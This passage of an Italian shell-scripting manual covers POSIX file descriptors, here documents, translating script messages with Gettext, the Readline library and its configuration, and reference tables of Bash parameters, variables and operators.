{-|+}o noclobber</td><td>Disabilita la sovrascrittura dei file preesistenti a seguito di una ridirezione dell'output attraverso l'uso degli operatori '>', '>&' e '<>'. Questa impostazione può essere scavalcata (in modo da riscrivere i file) utilizzando l'operatore di ridirezione '>|' al posto di '>'.
In generale sarebbe meglio evitare di intervenire in questo modo, dal momento che ciò non è conforme all'utilizzo normale.</td></tr>
</table>

L'esempio seguente mostra come modificare il gruppo dei parametri posizionali:

$ **set -- ciao come stai?** [*Invio*]

$ **echo $1** [*Invio*]

```
ciao
```

$ **echo $2** [*Invio*]

```
come
```

$ **echo $3** [*Invio*]

```
stai?
```

19.4 Accesso ai file

La shell POSIX ha una capacità limitata ad accedere ai file in modo sequenziale. Ciò consente di fare qualcosa di interessante negli script.

19.4.1 Utilizzo dei descrittori

Generalmente, si utilizzano i tre flussi standard in modo intuitivo, senza la necessità di aprirli o di chiuderli. Quando si vogliono gestire più flussi di dati simultaneamente, occorre attivare altri descrittori.

Tabella 19.60. Descrittori standard.

Descrittore	Apertura	Standard
0	lettura	standard input
1	scrittura	standard output
2	scrittura	standard error

I descrittori dei flussi standard risultano aperti senza bisogno di una richiesta esplicita; per aprire dei descrittori ulteriori, occorre dare delle istruzioni appropriate nella riga di comando:

Comando	Descrizione
comando ... *n*< *file*	Apre il file in lettura e ne consente l'accesso al comando attraverso il descrittore numero ***n***.
comando ... *n*> *file*	Apre il file in scrittura, azzerandolo inizialmente, concedendone l'accesso al comando attraverso il descrittore numero ***n***.
comando ... *n*>> *file*	Apre il file in scrittura, per l'aggiunta di dati in coda, concedendone l'accesso al comando attraverso il descrittore numero ***n***.

Generalmente, i descrittori aperti durante l'esecuzione di uno script, vengono chiusi automaticamente al termine del funzionamento dello stesso; in alternativa possono essere chiusi esplicitamente con la sintassi seguente:

```
n<&-
```

È da osservare che in questo modo si chiude il descrittore ***n***, indipendentemente dal fatto che questo rappresenti un flusso in ingresso (lettura) o in uscita (scrittura).

All'interno di uno script è possibile aprire dei descrittori alla chiamata di una funzione, come nell'esempio seguente:

```
#!/bin/sh
...
function fa_qualcosa () {
    ...
}
...
fa_qualcosa 3< mio_file
...
```

Teoricamente, è possibile aprire un descrittore **in lettura** in modo più semplice, senza che ciò debba avvenire necessariamente alla chiamata di un comando, ma l'uso di una shell poco amichevole, sotto questo punto di vista, potrebbe rendere la cosa del tutto inutile. Pertanto, pur essendo un procedimento sconsigliabile, ecco come si potrebbe procedere:

```
#!/bin/sh
...
3< mio_file    # apre il file nel descrittore n. 3
...
# qui si fa qualcosa con il descrittore n. 3
...
3<&-    # chiude il file associato al descrittore n. 3
...
```

19.4.2 Lettura e scrittura

La lettura da un descrittore si ottiene con il comando '**read**':

```
read [-p prompt] variabile...
```

Il comando '**read**' legge dallo standard input, pertanto, per leggere un flusso di dati proveniente attraverso un altro descrittore, occorre inserirlo nello standard input:

```
read [-p prompt] variabile... <&n
```

Per leggere i dati provenienti da un file, aperto attraverso il descrittore ***n***, si può usare un ciclo simile a quello seguente, dove si deve elaborare una riga alla volta del file originale:

```
while read RIGA_DEL_FILE <&n
do
    #
    # Fa qualcosa con il contenuto della variabile di ambiente
    # RIGA_DEL_FILE.
    #
    …
done
```

Per scrivere qualcosa all'interno di un descrittore, si usano normalmente i comandi '**`echo`**' o '**`printf`**'. Entrambi questi comandi scrivono attraverso lo standard output, pertanto, anche in questo caso, occorre ridirigere il flusso verso il descrittore desiderato, se necessario. L'esempio seguente legge un file attraverso il descrittore ***n*** e lo emette, tale e quale, attraverso il descrittore ***m***, elaborando i dati riga per riga:

```
while read RIGA_DEL_FILE <&n
do
    echo "$RIGA_DEL_FILE" >&m
done
```

L'esempio successivo legge dallo standard input e scrive attraverso lo standard output, dopo aver trasformato il testo in maiuscolo (considerando soltanto l'alfabeto latino senza lettere accentate):

```
#!/bin/sh
while read RIGA
do
    echo $RIGA | tr a-z A-Z
done
```

L'esempio seguente fa la stessa cosa utilizzando il descrittore numero 3 per la lettura del file e il descrittore numero 4 per la scrittura:

```
#!/bin/sh
while read RIGA <&3
do
    echo $RIGA | tr a-z A-Z >&4
done
```

L'esempio seguente utilizza una funzione per la trasformazione dei dati, rendendo esplicita l'apertura e la chiusura dei descrittori:

```
#!/bin/sh
function elabora () {
    while read RIGA <&3
    do
        echo $RIGA | tr a-z A-Z >&4
    done
}
elabora 3< file_da_leggere 4> file_da_creare
3<&-
4<&-
```

L'esempio seguente **non funziona**, perché non c'è modo di aprire il descrittore in scrittura secondo la modalità che qui viene mostrata:

```
#!/bin/sh
3< file_da_leggere
4> file_da_creare    # Non funziona!
#
while read RIGA <&3
do
    echo $RIGA | tr a-z A-Z >&4
done
#
3<&-
4<&-
```

19.4.2.1 Gestione degli spazi

Il comando '**`read`**' interpreta il contenuto delle righe in base alla configurazione stabilita con la variabile di ambiente ***IFS***. In pratica, per quanto riguarda gli esempi proposti e l'impostazione usuale di questa variabile, ciò significa che gli spazi orizzontali presenti all'inizio e alla fine delle righe, vengono eliminati.

Per evitare questo tipo di trattamento degli spazi occorrerebbe intervenire nella variabile di ambiente ***IFS***, ma non è detto che il risultato che si ottiene sia corretto. Pertanto, conviene limitarsi all'uso «normale» del comando '**`read`**', considerando la perdita degli spazi orizzontali iniziali e finali.

19.4.3 Contenuto senza file

Invece di aprire un file in lettura per fornirlo a un descrittore, è possibile inviare al descrittore direttamente il contenuto, attraverso il meccanismo noto come *here document*. Vengono messe a confronto le due forme:

n < ***file***

***n*<< "*marcatore_conclusivo*"**
    testo
    ...
marcatore_conclusivo

L'esempio seguente ne riprende uno già proposto in precedenza:

```
#!/bin/sh
function elabora () {
    while read RIGA <&3
    do
        echo $RIGA | tr a-z A-Z >&4
    done
}
elabora 4> file_da_creare 3<< "FINE_DEL_TESTO"
    bla bla bla bla bla
    bla bla bla bla bla
    bla bla bla bla bla
    bla bla bla bla bla
FINE_DEL_TESTO
3<&-
4<&-
```

19.5 Traduzione dei messaggi

È possibile fare in modo che i messaggi generati all'interno di uno script vengano tradotti automaticamente, attraverso Gettext, descritto nella sezione 82.[6] Per ottenere questo, si incorpora in uno script il codice contenuto nel file '`gettext.sh`', il quale potrebbe risultare installato nella directory '`/usr/bin/`', come parte del pacchetto che compone proprio Gettext; quindi, nello script si fa uso delle funzioni '**`gettext`**' e '**`eval_gettext`**', per ottenere la traduzione dei messaggi.

19.5.1 Esempio iniziale

Per cominciare a comprendere il meccanismo, conviene partire da un esempio molto semplice, vedendo dall'inizio alla fine il procedimento. Si suppone che il file seguente sia denominato '`bye-bye.sh`':

```
1    #!/bin/sh
2    TEXTDOMAINDIR=/tmp
3    TEXTDOMAIN=bye-bye
4    export TEXTDOMAINDIR
5    export TEXTDOMAIN
6
7    . /usr/bin/gettext.sh
8
9    tizio="daniele"
10
11   eval_gettext "bye bye \$tizio"
12   echo ""
13   gettext      "bye bye \$tizio"
14   echo ""
```

Si può osservare che nella settima riga viene inserito il codice contenuto nel file '`/usr/bin/gettext.sh`', quindi si rendono disponibili le funzioni '**`eval_gettext`**' e '**`gettext`**'. Nelle righe numero 11 e numero 13, si vede l'uso delle due funzioni, però con gli stessi argomenti; lì si deve osservare che in entrambi i casi, il dollaro che precede il nome della variabile '**`tizio`**' è stato protetto in modo da non essere espanso dalla shell.

Una volta realizzato il file, si utilizza '**`xgettext`**' per generare il file '`messages.po`', da tradurre. In questo caso, il nome '`bye-bye.sh`' è stato scelto appositamente con l'estensione '**`.sh`**', per facilitare a '**`xgettext`**' il riconoscimento del contesto:

`$` **`xgettext bye-bye.sh`** [*Invio*]

Se non si commettono errori, si ottiene così il file '`messages.po`', con il contenuto seguente:

```
# SOME DESCRIPTIVE TITLE.
# Copyright (C) YEAR THE PACKAGE'S COPYRIGHT HOLDER
# This file is distributed under the same license as the PACKAGE package.
# FIRST AUTHOR <EMAIL@ADDRESS>, YEAR.
#
#, fuzzy
msgid ""
msgstr ""
"Project-Id-Version: PACKAGE VERSION\n"
"Report-Msgid-Bugs-To: \n"
"POT-Creation-Date: 2006-04-04 19:24+0200\n"
"PO-Revision-Date: YEAR-MO-DA HO:MI+ZONE\n"
"Last-Translator: FULL NAME <EMAIL@ADDRESS>\n"
"Language-Team: LANGUAGE <LL@li.org>\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=CHARSET\n"
"Content-Transfer-Encoding: 8bit\n"

#: bye-bye.sh:10 bye-bye.sh:12
#, sh-format
msgid "bye bye $tizio"
```

```
msgstr ""
```

Il file va modificato, soprattutto per ciò che riguarda la traduzione. In tal caso, conviene creare il file '`bye-bye.po`':

```
# bye-bye.sh PO file.
# Copyright (C) 2006 Pinco Pallino
# Pinco Pallino <ppinco@dinkel.brot.dg>, 2006.
#
msgid ""
msgstr ""
"Project-Id-Version: 0.1\n"
"Report-Msgid-Bugs-To: Pinco Pallino <ppinco@dinkel.brot.dg>\n"
"POT-Creation-Date: 2006-04-04 18:59+0200\n"
"PO-Revision-Date: 2006-04-04 18:59+0200\n"
"Last-Translator: Pinco Pallino <ppinco@dinkel.brot.dg>\n"
"Language-Team: Italian <it@li.org>\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"

#: bye-bye.sh:10 bye-bye.sh:12
#, sh-format
msgid "bye bye $tizio"
msgstr "ciao ciao $tizio"
```

Si passa quindi alla compilazione del file, con la quale si vuole ottenere il file '`bye-bye.mo`':

$ **msgfmt -vvvv -o bye-bye.mo bye-bye.po** [*Invio*]

Il file '`bye-bye.mo`', tenuto conto che è stato realizzato per la configurazione locale italiana, va collocato all'interno del percorso '`it/LC_MESSAGES/`' che, a sua volta, deve partire da quanto contenuto nella directory indicata nella variabile ***TEXTDOMAINDIR***, oppure nella collocazione predefinita che potrebbe essere '`/usr/share/locale/`'. In questo caso, nello stesso script appare la dichiarazione e l'esportazione della variabile di ambiente ***TEXTDOMAINDIR*** (pertanto l'eventuale collocazione predefinita non viene considerata), con un valore tale per cui il file '`bye-bye.mo`' deve trovarsi nella directory '`/tmp/it/LC_MESSAGES/`'. Inoltre, la variabile ***TEXTDOMAINDIR*** stabilisce che sia proprio il file '`bye-bye.mo`' quello che deve essere cercato.

Una volta collocato correttamente il file '`bye-bye.mo`', se la configurazione locale è quella della lingua italiana, lo script funziona mostrando i messaggi tradotti:

$ **LANG=it_IT.UTF-8** [*Invio*]

$ **export LANG** [*Invio*]

$ **./bye-bye.sh** [*Invio*]

```
ciao ciao daniele
ciao ciao $tizio
```

Il risultato che si ottiene mostra il comportamento delle due funzioni: '**eval_gettext**' e '**gettext**'. Entrambe le funzioni restituiscono una stringa tradotta, senza aggiungere un codice di interruzione di riga; pertanto, nello script si manda a capo il testo con due comandi '**echo**' vuoti. Nel caso della funzione '**eval_gettext**', la stringa originaria viene scandita alla ricerca di variabili da espandere, mentre la funzione '**gettext**' si limita a lasciare inalterata la stringa tradotta.

Si deve osservare che la chiamata delle funzioni '***gettext**' è stata fatta volutamente proteggendo il dollaro davanti al nome della variabile '**tizio**', per evitare che la stringa passata alle funzioni stesse venga espansa preliminarmente dalla shell. Infatti, se ciò accadesse, sarebbe inutile tentare di tradurre i messaggi. Naturalmente, l'uso di una variabile con la funzione '**gettext**' diventa del tutto inutile, ma qui serve a dimostrare la differenza di comportamento tra le due funzioni.

19.5.2 utilizzo più sofisticato

Non è semplice usare le funzioni '***gettext**' così come sono, all'interno di uno script di shell, rispetto a come si può fare invece con un linguaggio di programmazione normale. Qui si propone l'uso di una funzione che serve a estendere le capacità di '**printf**', con la dimostrazione dei raggiri necessari a ottenere il funzionamento del sistema di Gettext. Si suppone che il file seguente sia denominato 'bye-bye-2.sh':

```
1   #!/bin/sh
2   TEXTDOMAINDIR=/tmp
3   TEXTDOMAIN=bye-bye-2
4   export TEXTDOMAINDIR
5   export TEXTDOMAIN
6
7   . /usr/bin/gettext.sh
8
9   printf_gettext () {
10      local string="$1"
11      shift
12      string=`gettext "$string"`
13      printf "$string" "$@"
14  }
15
16  tizio="daniele"
17
18  printf_gettext "bye bye %s\n" $tizio
```

Per ottenere il file 'messages.po', occorre imbrogliare '**xgettext**', fingendo che la funzione '**printf_gettext**' sia invece soltanto '**gettext**':

```
$ cat bye-bye-2.sh ↩
↪    | sed "s/printf_gettext/gettext/" ↩
↪    | xgettext -L Shell -[Invio]
```

Se non si commettono errori, si ottiene così il file '`messages.po`', con il contenuto seguente:

```
# SOME DESCRIPTIVE TITLE.
# Copyright (C) YEAR THE PACKAGE'S COPYRIGHT HOLDER
# This file is distributed under the same license as the PACKAGE package.
# FIRST AUTHOR <EMAIL@ADDRESS>, YEAR.
#
#, fuzzy
msgid ""
msgstr ""
"Project-Id-Version: PACKAGE VERSION\n"
"Report-Msgid-Bugs-To: \n"
"POT-Creation-Date: 2006-04-05 10:10+0200\n"
"PO-Revision-Date: YEAR-MO-DA HO:MI+ZONE\n"
"Last-Translator: FULL NAME <EMAIL@ADDRESS>\n"
"Language-Team: LANGUAGE <LL@li.org>\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=CHARSET\n"
"Content-Transfer-Encoding: 8bit\n"

#: standard input:19
msgid "bye bye %s\\n"
msgstr ""
```

Come già nella sezione precedente, il file va modificato, soprattutto per ciò che riguarda la traduzione. In tal caso, conviene creare il file '`bye-bye-2.po`':

```
# bye-bye-2.sh PO file.
# Copyright (C) 2006 Pinco Pallino
# Pinco Pallino <ppinco@dinkel.brot.dg>, 2006.
#
msgid ""
msgstr ""
"Project-Id-Version: 0.1\n"
"Report-Msgid-Bugs-To: Pinco Pallino <ppinco@dinkel.brot.dg>\n"
"POT-Creation-Date: 2006-04-04 18:59+0200\n"
"PO-Revision-Date: 2006-04-04 18:59+0200\n"
"Last-Translator: Pinco Pallino <ppinco@dinkel.brot.dg>\n"
"Language-Team: Italian <it@li.org>\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"

#: standard input:19
msgid "bye bye %s\\n"
msgstr "ciao ciao %s\\n"
```

Si passa quindi alla compilazione del file, con la quale si vuole ottenere il file '`bye-bye-2.mo`':

$ **msgfmt -vvvv -o bye-bye-2.mo bye-bye-2.po** [*Invio*]

Anche in questo caso, data la configurazione delle variabili ***TEXTDOMAINDIR*** e ***TEXTDOMAIN***, il file va collocato nella directory '`/tmp/it/LC_MESSAGES/`'.

$ **LANG=it_IT.UTF-8** [*Invio*]

$ **export LANG** [*Invio*]

$ **./bye-bye-2.sh** [*Invio*]

```
ciao ciao daniele
```

19.6 Libreria Readline

Diversi programmi che funzionano in modo interattivo mostrando un invito all'inserimento dei comandi (un *prompt*) e offrendo una riga di comando, sfruttano la libreria Readline[7] per la gestione di uno storico dei comandi e per offrire altre funzionalità come il completamento automatico.

La libreria Readline è sottoposta alle condizioni della licenza GNU GPL, pertanto i programmi che la incorporano vengono distribuiti alle stesse condizioni.

Questa libreria offre funzionalità così raffinate che spesso chi utilizza programmi interattivi che se ne avvalgono, si limita a sfruttarne una porzione minima. Questo capitolo dà solo una visione limitata delle funzionalità disponibili; chi desidera approfondire lo studio può cercare la sua documentazione che potrebbe essere disponibile nella pagina di manuale *readline(3)*, o in sua mancanza nella documentazione della shell Bash, che potrebbe essere disponibile come *info bash* oppure *bash(1)*.

Nel capitolo vengono mostrate diverse tabelle che descrivono l'uso dei comandi comuni disponibili; si osservi però che molte cose possono essere ridefinite attraverso la configurazione che avviene normalmente attraverso il file '`~/.readline`'.

19.6.1 Comandi

Quando la configurazione della libreria Readline è realizzata nel modo corretto, i tasti freccia consentono di scorrere all'interno dello storico e all'interno di un comando per consentirne la modifica, così come altri tasti di spostamento funzionano in modo intuitivo; diversamente sono disponibili delle combinazioni di tasti standard, secondo lo schema delle tabelle successive.

Tabella 19.79. Alcuni comandi di spostamento e affini.

Comando	Significato mnemonico	Descrizione
[*Ctrl a*]		Sposta il cursore all'inizio della riga. Di solito si predispone la configurazione in modo che il tasto [*Inizio*] svolga questa funzione.
[*Ctrl e*]	*end*	Sposta il cursore alla fine della riga. Di solito si predispone la configurazione in modo che il tasto [*Fine*] svolga questa funzione.

Comando	Significato mnemonico	Descrizione
[*Ctrl f*]	*forward*	Sposta il cursore a destra di un carattere. Di solito si predispone la configurazione in modo che il tasto [*freccia-destra*] svolga questa funzione.
[*Ctrl b*]	*backward*	Sposta il cursore a sinistra di un carattere. Di solito si predispone la configurazione in modo che il tasto [*freccia-sinistra*] svolga questa funzione.
[*Ctrl l*]		Ripulisce lo schermo.

Tabella 19.80. Alcuni comandi per la modifica del testo della riga di comando.

Comando	Significato mnemonico	Descrizione
[*Ctrl d*]	*delete*	Cancella il carattere sopra il cursore. Di solito si predispone la configurazione in modo che il tasto [*Canc*] svolga questa funzione.
[*Backspace*]		Cancella il carattere a sinistra del cursore.
[*Ctrl v*]	*verbatim*	Dopo questa sequenza è possibile inserire un carattere in modo letterale, quando non è possibile farlo in condizioni normali.

Tabella 19.81. Alcuni comandi per l'utilizzo dello storico. Vale la pena di precisare che il termine «storico», in un contesto come questo, intende fare riferimento a un «archivio storico» o un «registro storico» di qualcosa.

Comando	Significato mnemonico	Descrizione
[*Invio*]		Conferma l'inserimento del contenuto della riga, anche se il cursore non si trova alla fine della stessa. Ciò che viene inserito è accumulato automaticamente nello storico.
[*Ctrl p*]	*previous*	Recupera dallo storico l'ultimo comando inserito o comunque quello precedente a quello che si vede sulla riga di comando. Di solito si predispone la configurazione in modo che il tasto [*freccia-su*] svolga questa funzione.
[*Ctrl n*]	*next*	Scorre in avanti l'elenco dei comandi nello storico. Di solito si predispone la configurazione in modo che il tasto [*freccia-giù*] svolga questa funzione.
[*Ctrl r*]	*search backward*	Inizia la ricerca di un comando all'indietro.

19.6.2 Completamento automatico

Durante l'inserimento di un comando, si può usare il tabulatore, [*Tab*], per ottenere il completamento di questo in base a qualche criterio, dipendente dall'applicazione in cui la libreria viene usata.

Generalmente, la pressione del tasto [*Tab*] porta al completamento di qualcosa, se il contesto non permette di avere dubbi, altrimenti il completamento può essere parziale o imposibile. Quando il completamento è ambiguo, la ripetizione del comando produce la visualizzazione dell'elenco delle alternative disponibili.

19.6.3 Configurazione

La configurazione usata dalla libreria Readline avviene normalmente attraverso il file '`/etc/inputrc`' in modo generale, mentre per i singoli utenti attraverso il file '`~/.inputrc`'.

La cosa più comune che viene definita nel file di configurazione è l'uso di tasti per lo spostamento del cursore e per lo scorrimento nello storico, oltre alle combinazioni già previste. L'esempio seguente si riferisce alla configurazione necessaria per l'uso ottimale di una console virtuale, in un sistema GNU/Linux, su un elaboratore con architettura x86:

```
# Abilita l'inserimento di caratteri a 8 bit.
set meta-flag           on

# Disabilita la conversione dei caratteri con l'ottavo bit attivo
# in sequenze di escape.
set convert-meta        off

# Abilita la visualizzazione di caratteri a 8 bit.
set output-meta         on

# Modifica l'abbinamento con i tasti rispetto a determinati comportamenti.
"\e[1~": beginning-of-line      # [home]                era C-a
"\e[4~": end-of-line            # [fine]                era C-e
"\e[3~": delete-char            # [canc]                era C-d
"\e[5~": backward-word          # [pagina su]           era M-b
"\e[6~": forward-word           # [pagina giù]          era M-f
```

Come si intuisce, non sono stati abbinati i tasti [*freccia-sinistra*] e [*freccia-destra*], che in condizioni normali funzionano al pari delle combinazioni [*Ctrl b*] e [*Ctrl f*].

19.6.4 Utilizzo di «cle»

Il programma '**`cle`**',[8] ovvero *Command line editor*, è un involucro per i programmi interattivi che funzionano attraverso una riga di comando, ma non dispongono di funzionalità simili a quelle offerte dalla libreria Readline:

`cle` [***opzioni***] ***programma*** [***argomenti***]

In pratica, si usa '**`cle`**' per avviare un altro programma, il quale può avere bisogno dei suoi argomenti, controllando l'inserimento dei dati provenienti dallo standard input.

Si può tentare di capire cosa fa questo programma con un esempio realizzato con comandi comuni:

`$` **`tee prova`** [*Invio*]

Questo comando, per il momento senza l'ausilio di '**`cle`**', riceve i dati dallo standard input, li inserisce tali e quali nel file '`prova`' e li emette nuovamente attraverso lo standard output:

`Ciao,` [*Invio*]

```
Ciao,
```

`come stai?` [*Invio*]

```
come stai?
```

[*Ctrl d*]

Al termine il file '`prova`' contiene esattamente il testo:

```
Ciao,
come stai?
```

Durante l'inserimento del testo, non è possibile correggere la riga se non a partire dalla cancellazione dalla fine; con l'aiuto di '**`cle`**' si ottiene tutta la potenza della libreria Readline, compresa la gestione dello storico:

`$` **`cle tee prova`** [*Invio*]

...

In questo caso, lo storico viene accumulato precisamente nel file '`~/.tee_history`', pertanto si intuisce che controllando un altro programma si ottiene un file con il prefisso che richiama il nome dello stesso.

Bisogna tenere presente però che '**`cle`**' non è perfetto per tutte le circostanze: prima di tutto è necessario che il programma che viene controllato riceva i dati dallo standard input, perché se usa invece una tecnica differente, il meccanismo non può funzionare; inoltre, se il programma controllato mostra un invito, quando si scorre lo storico questo viene eliminato, perché '**`cle`**' non ne è consapevole.

19.7 Tabelle riepilogative

19.7.1 Particolarità della shell Bash

Tabella 19.29. A seconda del modo con cui l'eseguibile della shell Bash viene avviato si utilizzano diversi tipi di file di configurazione.

Comando	Tipo	All'avvio	Alla conclusione
`bash`	login	'`/etc/profile`', più '`~/.bash_profile`', oppure '`~/.bash_login`', oppure '`~/.profile`'	'`~/.bash_logout`'
`bash`	interattiva	'`~/.bashrc`'	
`bash`	non interattiva	il file indicato nella variabile di ambiente ***BASH_ENV***	
`sh`	login	'`/etc/profile`', più '`~/.profile`'	
`sh`	interattiva	il file indicato nella variabile di ambiente ***ENV***	

Comando	Tipo	All’avvio	Alla conclusione
`sh`	non interattiva	--	
`bash --posix`	login	il file indicato nella variabile di ambiente ***ENV***	
`bash --posix`	interattiva	il file indicato nella variabile di ambiente ***ENV***	
`bash --posix`	non interattiva	--	

Tabella 19.33. Elenco di alcuni codici speciali per definire l’invito con la shell Bash.

Codice	Descrizione
`\t`	Orario attuale nel formato ***hh***:***mm***:***ss*** (ore, minuti, secondi).
`\d`	Data attuale.
`\n`	Interruzione di riga.
`\s`	Nome della shell.
`\w`	Percorso assoluto della directory corrente.
`\W`	Nome finale del percorso della directory corrente (*basename*).
`\u`	Utente.
`\h`	Nome dell’elaboratore.
`\#`	Numero del comando attuale.
`\!`	Numero del comando nello storico.
`\$`	‘**#**’ se UID = 0; ‘**$**’ se UID > 0.
`\`***nnn***	Carattere corrispondente al numero ottale indicato.
`\\`	Una barra obliqua inversa singola (‘****’).
`\[`	Inizio di una sequenza di controllo.
`\]`	Fine di una sequenza di controllo.

19.7.2 Parametri comuni

Parametro	Descrizione
n	Un parametro posizionale è definito da una o più cifre numeriche a eccezione dello zero che ha invece un significato speciale. I parametri posizionali rappresentano gli argomenti forniti al comando: '**`$1`**' si espande nel primo, '**`$2`**' si espande nel secondo e così di seguito. Quando si utilizza un parametro composto da più di una cifra numerica, è indispensabile racchiuderlo tra parentesi graffe; per esempio: '**`${10}`**', '**`${11}`**',...
`0`	Restituisce il nome della shell o dello script. Se la shell viene avviata con un file di comandi, '**`$0`**' si espande nel nome di quel file. Se la shell viene avviata con l'opzione '**`-c`**', '**`$0`**' si espande nel primo argomento dopo la stringa dei comandi (sempre che ce ne sia uno).
`*`	L'asterisco rappresenta l'insieme di tutti i parametri posizionali a partire dal primo. Quando viene utilizzato all'interno di apici doppi, rappresenta un'unica parola composta dal contenuto dei parametri posizionali, spaziati dal primo carattere contenuto nella variabile speciale ***IFS***. Se questa variabile non è definita, viene utilizzato uno spazio singolo. Per esempio, se ***IFS*** contenesse la sequenza '**`xyz`**', '**`"$*"`**' sarebbe equivalente a '**`"$1x$2x`**...**`"`**'. La variabile di shell ***IFS*** contiene di solito la sequenza: *<SP><HT><LF>* (corrispondente a uno spazio normale, un carattere di tabulazione e al codice di interruzione di riga nella maggior parte dei sistemi Unix). Di conseguenza, viene utilizzato normalmente il carattere spazio (*<SP>*) per staccare i vari parametri posizionali. Per cui, di solito, '**`"$*"`**' equivale a '**`"$1 $2`**...**`"`**'.
`@`	Rappresenta l'insieme di tutti i parametri posizionali a partire dal primo. Quando viene utilizzato all'interno di apici doppi, rappresenta delle parole, ognuna composta dal contenuto del parametro posizionale rispettivo. Di conseguenza, '**`"$@"`**' equivale a '**`"$1" "$2"`** ... **`"$`*n*`"`**'. Questo comportamento rappresenta un'eccezione rispetto agli altri parametri che invece si limitano a generare una sola parola.
`#`	Rappresenta il numero di parametri posizionali esistenti.
`?`	Rappresenta il valore restituito dall'ultimo condotto eseguito in primo piano (*foreground*). In pratica, restituisce il valore dell'ultimo comando eseguito.
`-`	Il trattino rappresenta la serie di lettere corrispondenti alle modalità configurabili attraverso il comando interno '**`set`**' o con opzioni particolari della riga di comando.
`$`	Restituisce il numero PID della shell. Se viene utilizzato all'interno di una subshell, cioè tra parentesi tonde, restituisce il numero PID della shell principale e non quello della subshell.
`!`	Restituisce il numero PID del processo avviato più di recente e messo sullo sfondo.

19.7.3 Variabili di ambiente comuni

Tabella 19.9. Elenco delle variabili più importanti di una shell POSIX.

Variabile	Contenuto
`PWD`	La directory corrente. Il contenuto della variabile viene modificato dal comando '**`cd`**'.
`OLDPWD`	La directory corrente visitata precedentemente. Il contenuto della variabile viene modificato dal comando '**`cd`**'.
`PPID`	Il numero PID del processo genitore della shell attuale.

Variabile	Contenuto
`IFS`	*Internal field separator*. Il contenuto predefinito della variabile dovrebbe essere: *<SP><HT><LF>*.
`PATH`	I percorsi di ricerca per i comandi, separati dal carattere '`:`'.
`HOME`	La directory personale dell'utente.
`CDPATH`	Il percorso di ricerca per il comando '**`cd`**' (di solito la variabile contiene la stringa nulla).
`MAIL`	Il percorso del file che rappresenta la cartella di posta in entrata dell'utente.
`MAILCHECK`	La frequenza, in secondi, con cui si deve verificare la presenza di messaggi nuovi nella cartella corrispondente alla variabile ***MAIL***. Se ***MAILCHECK*** è vuota o contiene il valore zero, il controllo avviene ogni volta che deve essere emesso un nuovo invito.
`MAILPATH`	Questa variabile, se definita, prevale su ***MAIL*** e definisce un elenco di percorsi per altrettante cartelle di posta elettronica alternative. L'elenco è separato con il carattere '`:`'.
`OPTIND`	Contiene l'indice del prossimo argomento da elaborare dal comando '**`getopts`**'.
`OPTARG`	Il valore dell'ultimo argomento elaborato da '**`getopts`**'.
`PS1`	L'invito primario. Di solito, il valore predefinito di questa variabile fa sì che sia rappresentato un dollaro o un cancelletto a seconda che si tratti di un utente comune o dell'utente '**`root`**'.
`PS2`	L'invito secondario, che appare quando si deve completare un comando. Il valore predefinito è normalmente '`> `'.
`ENV`	Il nome di un file di configurazione per una shell POSIX.

19.7.4 Espansione e sostituzione

Espansioni e sostituzioni relative a parametri, variabili, comandi ed espressioni:

<table>
<tr><th>Modello</th><th>Descrizione</th></tr>
<tr><td>$<i>parametro</i> | ${<i>parametro</i>}
$<i>variabile</i> | ${<i>variabile</i>}</td><td>In uno di questi modi si ottiene la sostituzione del parametro o della variabile con il suo contenuto.</td></tr>
<tr><td>$(comando)
`<b><i>comando</i></b>`</td><td>Sostituzione di comando: quanto emesso attraverso lo standard output dal comando viene usato nell'espansione.</td></tr>
<tr><td>$((espressione))</td><td>Esegue l'espressione aritmetica e si espande nel suo risultato.</td></tr>
</table>

Tabella 19.46. Operatori aritmetici.

Operatore e operandi	Descrizione
+*op*	Non ha alcun effetto.
-*op*	Inverte il segno dell'operando.
op1 + ***op2***	Somma i due operandi.
op1 - ***op2***	Sottrae dal primo il secondo operando.
op1 * ***op2***	Moltiplica i due operandi.
op1 / ***op2***	Divide il primo operando per il secondo.
op1 % ***op2***	Modulo: il resto della divisione tra il primo e il secondo operando.
var = ***valore***	Assegna alla variabile il valore alla destra.
op1 += ***op2***	***op1*** = ***op1*** + ***op2***
op1 -= ***op2***	***op1*** = ***op1*** - ***op2***
op1 *= ***op2***	***op1*** = ***op1*** * ***op2***
op1 /= ***op2***	***op1*** = ***op1*** / ***op2***
op1 %= ***op2***	***op1*** = ***op1*** % ***op2***

Espansione relativa a nomi di file e di directory:

Modello	Descrizione
~	Corrisponde al contenuto della variabile di ambiente ***HOME*** (la directory personale dell'utente che sta usando la shell.
~***utente***	Corrisponde alla directory personale dell'utente.
*	Corrisponde a qualsiasi stringa, compresa la stringa nulla.
?	Corrisponde a un carattere qualsiasi (uno solo).
[...]	Corrisponde a uno qualsiasi dei caratteri racchiusi tra parentesi quadre.
[!...]	Corrisponde a tutti i caratteri esclusi quelli indicati.
[***a***-***z***]	Corrisponde a uno qualsiasi dei caratteri compresi nell'intervallo da ***a*** a ***z***.
[!***a***-***z***]	Corrisponde a tutti i caratteri esclusi quelli appartenenti all'intervallo indicato.

19.7.5 Comandi e *job*

Sintassi	Descrizione
[!] *comando_1* [| *comando_2*...]	Condotto.
comando_1 ; *comando_2*	Esegue il primo comando e al termine avvia il secondo.
comando &	Avvio sullo sfondo (*background*).
comando_1 & *comando_2*	Avvia sullo sfondo il primo comando e avvia immediatamente il secondo comando.
comando_1 && *comando_2*	Esegue il primo comando e se ciò avviene con successo, esegue anche il secondo comando.
comando_1 || *comando_2*	Esegue il primo comando e se questo restituisce *Falso* esegue anche il secondo comando.
(*comando_1* ; *comando_2* ; ...)	Lista di comandi da eseguire in una subshell.
{ *comando_1* ; *comando_2* ; ... ; }	Lista di comandi da eseguire normalmente concatenando l'output generato (il contenuto deve essere separato dalle parentesi graffe).

Riferimento ai gruppi di elaborazione	Descrizione
%*n*	Il simbolo '`%`' seguito da un numero fa riferimento al gruppo di elaborazione con quel numero.
%*prefisso*	Il simbolo '`%`' seguito da una stringa fa riferimento a un gruppo di elaborazione con un nome che inizia con quel prefisso. Se esiste più di un gruppo di elaborazione sospeso con lo stesso prefisso si ottiene una segnalazione di errore.
